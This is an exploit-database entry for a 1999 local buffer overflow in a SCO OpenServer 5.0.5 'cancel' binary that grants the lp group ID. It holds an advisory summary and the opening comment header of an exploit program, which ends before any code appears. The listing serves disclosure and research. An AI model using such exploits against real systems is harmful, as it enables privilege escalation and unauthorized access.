SCO Open Server 5.0.5 - cancel Buffer Overflow

EDB-ID:

19543

CVE:



Platform:

SCO

Published:

1999-10-08

source: http://www.securityfocus.com/bid/702/info

There is a buffer overflow vulnerability in /opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel. It is important to know that the overflows are not in "/usr/bin/cancel" or "/usr/lpd/remote/cancel". The consequence of this vulnerability being exploited is compromise of effective groupid of group lp. 

/**
 ** sco_cancel.c yields egid=18(lp)
 ** Tested on SCO 5.0.5+Skunkware98
 ** 
 ** Compile gcc -o sco_cancelx.c sco_cancelx.c
